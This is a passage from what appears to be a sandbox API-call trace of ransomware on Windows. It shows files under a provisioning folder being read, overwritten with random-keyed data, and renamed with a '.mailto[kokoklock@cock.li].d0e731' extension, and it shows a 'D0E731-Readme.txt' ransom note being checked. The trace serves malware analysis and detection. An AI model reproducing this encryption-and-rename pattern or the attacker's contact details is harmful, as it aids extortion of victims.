BaseAddress=0x55dd650) returned 1 [0086.131] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0086.131] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0086.132] ReadFile (in: hFile=0xa30, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2c0, lpNumberOfBytesRead=0x2d3bfb44, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2d3bfb44*=0x2c0, lpOverlapped=0x0) returned 1 [0086.132] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3bfb0c | out: lpNewFilePointer=0x0) returned 1 [0086.132] WriteFile (in: hFile=0xa30, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2d3bfb40, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2d3bfb40*=0x2c0, lpOverlapped=0x0) returned 1 [0086.132] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8f8 [0086.132] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd650 [0086.132] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd650) returned 1 [0086.132] WriteFile (in: hFile=0xa30, lpBuffer=0x55dd8f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d3bfb3c, lpOverlapped=0x0 | out: lpBuffer=0x55dd8f8*, lpNumberOfBytesWritten=0x2d3bfb3c*=0x20, lpOverlapped=0x0) returned 1 [0086.132] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8f8) returned 1 [0086.132] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.132] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.132] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0086.132] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3e8) returned 1 [0086.132] WriteFile (in: hFile=0xa30, lpBuffer=0x55dd628*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2d3bfb68, lpOverlapped=0x0 | out: lpBuffer=0x55dd628*, lpNumberOfBytesWritten=0x2d3bfb68*=0x8, lpOverlapped=0x0) returned 1 [0086.132] WriteFile (in: hFile=0xa30, lpBuffer=0x2d3bfb80*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d3bfb68, lpOverlapped=0x0 | out: lpBuffer=0x2d3bfb80*, lpNumberOfBytesWritten=0x2d3bfb68*=0x4, lpOverlapped=0x0) returned 1 [0086.132] WriteFile (in: hFile=0xa30, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d3bfb68, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2d3bfb68*=0x4, lpOverlapped=0x0) returned 1 [0086.132] WriteFile (in: hFile=0xa30, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2d3bfb68, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2d3bfb68*=0x6c, lpOverlapped=0x0) returned 1 [0086.133] WriteFile (in: hFile=0xa30, lpBuffer=0x55dd560*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d3bfb68, lpOverlapped=0x0 | out: lpBuffer=0x55dd560*, lpNumberOfBytesWritten=0x2d3bfb68*=0x20, lpOverlapped=0x0) returned 1 [0086.133] WriteFile (in: hFile=0xa30, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d3bfb68, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2d3bfb68*=0x4, lpOverlapped=0x0) returned 1 [0086.133] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd560) returned 1 [0086.133] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd600) returned 1 [0086.133] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd628) returned 1 [0086.133] CloseHandle (hObject=0xa30) returned 1 [0086.133] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x180) returned 0x341a7f8 [0086.133] wcscpy (in: _Dest=0x341a7f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml" [0086.133] wcscat (in: _Dest=0x341a7f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.133] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\121__connections_cellular_kidanet (fiji)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\121__connections_cellular_kidanet (fiji)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.134] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.134] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a7f8) returned 1 [0086.134] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.134] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a7e8 [0086.134] wcscpy (in: _Dest=0x348a7e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.134] wcscat (in: _Dest=0x348a7e8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.134] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.135] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a7e8) returned 1 [0086.135] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3495370) returned 1 [0086.135] RtlExitUserThread (Status=0x1) Thread: id = 1295 os_tid = 0x1154 [0085.384] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\122__connections_cellular_vodafone fiji (fiji)_i0$(__mvid)@wap.provxml")) returned 0x20 [0086.100] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.100] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\122__connections_cellular_vodafone fiji (fiji)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa30 [0086.100] GetFileSizeEx (in: hFile=0xa30, lpFileSize=0x2d43f96c | out: lpFileSize=0x2d43f96c*=728) returned 1 [0086.100] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.101] ReadFile (in: hFile=0xa30, lpBuffer=0x2d43f940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d43f93c, lpOverlapped=0x0 | out: lpBuffer=0x2d43f940*, lpNumberOfBytesRead=0x2d43f93c*=0x4, lpOverlapped=0x0) returned 1 [0086.102] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.102] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8f8 [0086.102] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd560 [0086.102] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd5b0 [0086.102] NtQuerySystemTime (in: CurrentTime=0x2d43f918 | out: CurrentTime=0x2d43f918*=132121176439922667) returned 0x0 [0086.102] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0x1943ef7e [0086.102] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0x913a6811 [0086.102] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0xd508eb8b [0086.102] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0x9f8d2a2f [0086.102] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0x7f2936c6 [0086.102] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0x23e61e3e [0086.102] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0x299fb2b1 [0086.102] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0x7c867f0 [0086.102] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0xb2cba56e [0086.102] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0xb2fd99fa [0086.102] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0xe727e962 [0086.102] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0x46a66fd [0086.102] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0x21f8d1fb [0086.102] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0x71671a50 [0086.102] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0x2afd93a [0086.102] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0x9789d61f [0086.103] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0x90913fcd [0086.103] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0x89e8c516 [0086.103] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0x658b5432 [0086.103] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0xd12134bf [0086.103] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0xbecd6362 [0086.103] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0x2280cafd [0086.103] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0x9ced57e4 [0086.103] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0xec933469 [0086.103] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0x1257cfad [0086.103] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0x7b1727ba [0086.103] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0xd14ddeb [0086.103] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0x91318d12 [0086.103] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0xa072dae1 [0086.103] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0x664328e6 [0086.103] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0x3abc369b [0086.103] RtlRandom (in: Seed=0x2d43f924 | out: Seed=0x2d43f924) returned 0x636bcdd0 [0086.113] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480228) returned 1 [0086.113] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8f8) returned 1 [0086.113] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3e8 [0086.113] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0086.113] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd628 [0086.114] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd628) returned 1 [0086.114] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0086.114] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0086.114] ReadFile (in: hFile=0xa30, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2d8, lpNumberOfBytesRead=0x2d43f918, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2d43f918*=0x2d8, lpOverlapped=0x0) returned 1 [0086.114] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d43f8e0 | out: lpNewFilePointer=0x0) returned 1 [0086.114] WriteFile (in: hFile=0xa30, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2d8, lpNumberOfBytesWritten=0x2d43f914, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2d43f914*=0x2d8, lpOverlapped=0x0) returned 1 [0086.114] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8f8 [0086.114] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd628 [0086.114] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd628) returned 1 [0086.114] WriteFile (in: hFile=0xa30, lpBuffer=0x55dd8f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d43f910, lpOverlapped=0x0 | out: lpBuffer=0x55dd8f8*, lpNumberOfBytesWritten=0x2d43f910*=0x20, lpOverlapped=0x0) returned 1 [0086.114] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8f8) returned 1 [0086.114] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.114] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.114] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0086.114] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3e8) returned 1 [0086.114] WriteFile (in: hFile=0xa30, lpBuffer=0x55dd600*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2d43f93c, lpOverlapped=0x0 | out: lpBuffer=0x55dd600*, lpNumberOfBytesWritten=0x2d43f93c*=0x8, lpOverlapped=0x0) returned 1 [0086.114] WriteFile (in: hFile=0xa30, lpBuffer=0x2d43f954*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d43f93c, lpOverlapped=0x0 | out: lpBuffer=0x2d43f954*, lpNumberOfBytesWritten=0x2d43f93c*=0x4, lpOverlapped=0x0) returned 1 [0086.115] WriteFile (in: hFile=0xa30, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d43f93c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2d43f93c*=0x4, lpOverlapped=0x0) returned 1 [0086.115] WriteFile (in: hFile=0xa30, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2d43f93c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2d43f93c*=0x6c, lpOverlapped=0x0) returned 1 [0086.115] WriteFile (in: hFile=0xa30, lpBuffer=0x55dd560*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d43f93c, lpOverlapped=0x0 | out: lpBuffer=0x55dd560*, lpNumberOfBytesWritten=0x2d43f93c*=0x20, lpOverlapped=0x0) returned 1 [0086.115] WriteFile (in: hFile=0xa30, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d43f93c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2d43f93c*=0x4, lpOverlapped=0x0) returned 1 [0086.115] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd560) returned 1 [0086.115] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd5d8) returned 1 [0086.115] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd600) returned 1 [0086.115] CloseHandle (hObject=0xa30) returned 1 [0086.115] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18c) returned 0x341a7f8 [0086.115] wcscpy (in: _Dest=0x341a7f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml" [0086.115] wcscat (in: _Dest=0x341a7f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.115] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\122__connections_cellular_vodafone fiji (fiji)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\122__connections_cellular_vodafone fiji (fiji)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.116] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.116] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a7f8) returned 1 [0086.116] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.117] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a7e8 [0086.117] wcscpy (in: _Dest=0x348a7e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.117] wcscat (in: _Dest=0x348a7e8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.117] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.117] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a7e8) returned 1 [0086.117] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f9530) returned 1 [0086.117] RtlExitUserThread (Status=0x1) Thread: id = 1296 os_tid = 0x115c [0085.384] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\123__connections_cellular_vodafone fiji (fiji)_i1$(__mvid)@wap.provxml")) returned 0x20 [0085.833] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0085.880] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\123__connections_cellular_vodafone fiji (fiji)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x738 [0085.881] GetFileSizeEx (in: hFile=0x738, lpFileSize=0x2d4bf858 | out: lpFileSize=0x2d4bf858*=734) returned 1 [0085.881] SetFilePointerEx (in: hFile=0x738, liDistanceToMove=0x2da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.881] ReadFile (in: hFile=0x738, lpBuffer=0x2d4bf82c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d4bf828, lpOverlapped=0x0 | out: lpBuffer=0x2d4bf82c*, lpNumberOfBytesRead=0x2d4bf828*=0x4, lpOverlapped=0x0) returned 1 [0085.918] SetFilePointerEx (in: hFile=0x738, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.918] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8a8 [0085.918] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8f8 [0085.918] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd920 [0085.918] NtQuerySystemTime (in: CurrentTime=0x2d4bf804 | out: CurrentTime=0x2d4bf804*=132121176438048487) returned 0x0 [0085.918] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0xe95e61ad [0085.918] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0x356bd8cc [0085.918] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0x287c8399 [0085.918] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0xde308bc9 [0085.918] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0xce929ce4 [0085.918] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0x2929cace [0085.918] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0xd75e5d74 [0085.918] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0x1c5b9037 [0085.918] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0x58ce33c9 [0085.918] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0xe56a454 [0085.918] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0x890f3776 [0085.918] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0x45268e6b [0085.918] 